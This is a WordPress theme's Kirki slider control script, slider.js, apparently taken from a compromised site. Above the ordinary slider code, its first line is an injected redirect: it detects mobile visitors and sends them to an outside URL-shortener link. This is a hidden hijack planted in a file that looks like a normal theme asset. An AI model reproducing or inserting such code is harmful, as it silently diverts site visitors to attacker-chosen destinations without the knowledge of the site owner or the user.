File: //home2/gazetufm/tali-ks.com/wp-content/themes/simpleshift/inc/kirki/assets/js/controls/slider.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
wp.customize.controlConstructor['kirki-slider'] = wp.customize.Control.extend({
ready: function() {
'use strict';
var control = this,
value,
thisInput,
inputDefault;
// Update the text value
jQuery( 'input[type=range]' ).on( 'mousedown', function() {
value = jQuery( this ).attr( 'value' );
jQuery( this ).mousemove( function() {
value = jQuery( this ).attr( 'value' );
jQuery( this ).closest( 'label' ).find( '.kirki_range_value .value' ).text( value );
});
});
// Handle the reset button
jQuery( '.kirki-slider-reset' ).click( function() {
thisInput = jQuery( this ).closest( 'label' ).find( 'input' );
inputDefault = thisInput.data( 'reset_value' );
thisInput.val( inputDefault );
thisInput.change();
jQuery( this ).closest( 'label' ).find( '.kirki_range_value .value' ).text( inputDefault );
});
// Save changes.
this.container.on( 'change', 'input', function() {
control.setting.set( jQuery( this ).val() );
});
}
});